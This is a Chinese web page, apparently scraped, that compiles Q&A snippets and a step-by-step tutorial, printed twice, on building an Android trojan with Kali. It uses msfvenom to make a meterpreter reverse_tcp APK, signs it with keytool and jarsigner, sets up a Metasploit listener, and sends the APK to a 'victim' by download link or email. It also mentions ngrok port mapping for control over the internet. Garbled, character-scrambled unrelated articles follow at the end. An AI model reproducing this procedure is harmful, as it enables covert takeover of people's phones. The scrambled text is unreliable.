kali生成安卓木马并控制手机（kali生成的木马手机打不开）
kali 怎么把安卓木马隐藏到普通安卓app里
先查看kali的ip，我的是1.114
然后输入命令：msfvenom -p android/meterpreter/reverse_tcp LHOST=你kali的ip LPORT=5555 R /root/apk.apk
5555是设置的端口，可以自己更改 显示这个说明已经生成成功了。
怎么样才能黑一个手机？
你没有办法“黑”别人的手机。即使你能制造病毒发送到别人手机上，也会被手机所带的杀毒程序拦截、清除。况且这是违法行为，会受到追究甚至惩处。
你可以拉黑对方，和对方不联系，但是不能想歪点子黑人家的手机。
黑客能入侵用户手机吗？用户进行什么操作他都了如指掌吗？
能的，不要随便去点陌生网站链接之类的，一般入侵控制手机都是通过木马后门实现，安卓的话可以直接用kali系统下的一个工具渗透直接获取权限，苹果要稍为好点。保护机制不同
kali配置的木马是内网的，但还能远程控制，这是怎么回事？
可以，运用各种模块进行配合操作，比如用Sunny-Ngrok进行端口映射，并生成payload，然后再用Metaspoit 实现对外网主机的远程控制。
如何使用Metasploit对安卓手机进行控制
文章内容可能具有一定攻击性，本文仅供技术交流，如有非法使用后果自负。
在这次的实验中，我会使用kali linux和安卓模拟器演示如何使用Metasploit框架控制Android设备。
创建负载
我们需要两台虚拟机：Kali Linux和安卓模拟器。
打开vm启动Kali linux。接着打开终端，使用msfvenom *** android利用程序。
Msfvenom是msfpayload和msfencode的组合。它是一个单一的工具。它有标准的命令行选项。 Msfvenom用来制造的有效载荷用来渗透Android模拟器。
一旦打开终端提示符下输入以下命令，使用msfvenom工具来创建有效载荷APK文件。
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1128 LPORT=4444 R /root/Desktop/pentest.apk
p 设置要使用的payload
LHOST 设置用来接收反弹连接的主机
LPORT 设置用来接收反弹连接的端口
R 设置文件格式
Location 要保存的文件位置
这个命令执行完之后，你会看到一些错误，但不用担心。现在可以到输出目录查看生成的apk了。
我们已经成功创建了Android格式（APK）文件的有效载荷。现在一般Android的移动设备不允许安装没有适当签名证书的应用程序。 Android设备只安装带有签署文件的APK。
我们可以使用如下工具进行手动签名：
l Keytool (已安装)
l jar signer (已安装)
l zipalign (需要安装)
执行下列命令签名。首先使用密钥工具创建密钥库。
keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
然后使用JARsigner签名APK
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore APPNAME.apk aliasname`
再用JARsigner验证签名
jarsigner -verify -verbose -certs APPNAME.apk
Kali没有预装Zipalign，需要先apt-get install zipalign。然后用zipalign来验证apk。
zipalign -v 4 APPNAME.apk NEWAPPNAME.apk
现在我们有了一个带有签名的APK，它可以安装在任何设备上。
使用Metasploit进行测试
接下来启动metasploit的监听器。执行msfconsole打开控制台。
use exploit/multi/handler
Set PAYLOAD android/meterpreter/reverse_tcp
SET LHOST 192.168.152.128
SET LPORT 4444
Exploit
是时候将恶意的APK发送到手机上。我们这里使用一个网盘上传我们的APK，并将下载链接分享出去。
这是我们切换到安卓模拟器。
如何用kali linux控制手机
其实在下载链接的地方就有关于这两个版本的解释
其实在下载链接的地方就有关于这两个版本的解释
如何使用metasploit对安卓手机进行控制
在这次的实验中，我会使用kali linux和安卓模拟器演示如何使用Metasploit框架控制Android设备。
创建负载
我们需要两台虚拟机：Kali Linux和安卓模拟器。
打开vm启动Kali linux。接着打开终端，使用msfvenom *** android利用程序。
Msfvenom是msfpayload和msfencode的组合。它是一个单一的工具。它有标准的命令行选项。 Msfvenom用来制造的有效载荷用来渗透Android模拟器。
一旦打开终端提示符下输入以下命令，使用msfvenom工具来创建有效载荷APK文件。
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1128 LPORT=4444 R /root/Desktop/pentest.apk
p 设置要使用的payload
LHOST 设置用来接收反弹连接的主机
LPORT 设置用来接收反弹连接的端口
R 设置文件格式
Location 要保存的文件位置
这个命令执行完之后，你会看到一些错误，但不用担心。现在可以到输出目录查看生成的apk了。
我们已经成功创建了Android格式（APK）文件的有效载荷。现在一般Android的移动设备不允许安装没有适当签名证书的应用程序。 Android设备只安装带有签署文件的APK。
我们可以使用如下工具进行手动签名：
l Keytool (已安装)
l jar signer (已安装)
l zipalign (需要安装)
执行下列命令签名。首先使用密钥工具创建密钥库。
keytool -genkey -v -keystore my-release-key.Keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
然后使用JARsigner签名APK
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.Keystore APPNAME.apk aliasname`
再用JARsigner验证签名
jarsigner -verify -verbose -certs APPNAME.apk
Kali没有预装Zipalign，需要先apt-get install zipalign。然后用zipalign来验证apk。
zipalign -v 4 APPNAME.apk NEWAPPNAME.apk
现在我们有了一个带有签名的APK，它可以安装在任何设备上。
使用Metasploit进行测试
接下来启动metasploit的监听器。执行msfconsole打开控制台。
use exploit/multi/handler
Set PAYLOAD android/meterpreter/reverse_tcp
SET LHOST 192.168.152.128
SET LPORT 4444
Exploit
是时候将恶意的APK发送到手机上。我们这里使用一个网盘上传我们的APK，并将下载链接分享出去。
1、从https://code.google.com/archive/p/android-x86/downloads下载android x86的iso。
2、使用vmware创建一个内核版本为2.6的虚拟机。
3、挂载镜像，启动虚拟机。
4、进入Live模式。
5、设置手机并登陆谷歌帐号。
在安卓模拟器里面点击那个链接并下载。我们已经发送了一封邮件到受害者的谷歌帐号上。
另外要允许安卓安装来历不明的apk。
切换回Kali，我们发现创建了一个新的会话。
然后你就可以为所欲为的操作这台“手机”了。
“kali生成安卓木马并控制手机（kali生成的木马手机打不开）” 的相关文章
东风日产尼桑奇骏图片 「日产奇骏越野车图片」
少/严/下，如今 本拆的日产春风 骑骏那边 购的到，偶骏废弃 一辆售患上那么孬的车型么？当然没有是。春风 日产别致 骏卖价是若干 ？买车现金劣惠。您便 晓得了。留住的原来 僧桑偶骏没有行那么少。 而偏偏野用化车型。偶骏是春风 日产旗高松凑型SUV,车顶叙车首的零体棱角取横披的后年夜 灯，楼主说的应该...
怎样网上预订火车票（怎样在网上预订火车票）
正在网上购水车票否以选坐位了 一 二 三0 六脚机APP支撑 正在线选座功效 二0 一 七年 一0月 一 二日 一0: 二 五做者：王瑞编纂 ：王瑞文章没处：泡泡网本创 分享 昨天，南京天铁微专账号宣布 新闻 ，克日 起经由过程 一 二 三0 六购置 动车组列车车票否...
今年花生油多少钱一斤 「品品好花生油5升价格」
然后正在运输、别购。点 五 五公斤由于 ： 一公斤= 二斤以是 ： 四点 五 五公斤= 四点 五 五x 二= 九点 一斤。 并且 看牌子，如今 是旺季，人力差没有多起码 要 一 五元了。 五降鲁花花熟油正在各天价钱 纷歧 样。不外 购 以前要注重不雅 察花熟油色泽，品级 下的更贱别购廉价 的，但量质...
全免费手机定位对方无需同意(不拿对方手机能查微信聊天记录吗)
您 晓得吗﹖新功效 ：否以刹时 酿成 查岗神器，太适用 了！ 衡东诗勤写于湘北千年火城今镇年夜 浦 如今 的收集 技术是愈来愈进步前辈 ，念到的战出有念到的，都邑 正在法式 员脚面酿成 实际 ！比来 ，面又没了一个功效 ——没止轨迹的功效 ，对付 您没有宁神 对于圆的行为 ，这您念核对 圆...
西安咸阳人民可免费看爱奇艺1个月 究竟是怎么一回事?!
【西安咸阴群众否收费看爱偶艺 一个月】其真前些日子劣酷也上线了“西安群众收费看”限时收费私损铺播运动 (露咸阴)。 那波操做有点相似 于鸿星我克捐钱 行为 ，当然每一野的作法战力度皆纷歧 样。没有 晓得会有更多望频网站跟入吗必修 【西安咸阴群众否收费看爱偶艺 一个月】 一月 七日，爱偶艺VIP...
华流年京东618怎么个便宜法
京东 六 一 八年外年夜 促做为京东运动 力度最年夜 的一个买物节，天然 是遭到许多 人存眷 的，有些小同伴 一晚便念孬要正在京东 六 一 八下面购甚么器械 了，借有些小同伴 连本年 京东 六 一 八怎么个廉价 法皆没有 晓得，上面便由百思特小编去给年夜 野说说吧！...
评论列表
发表评论
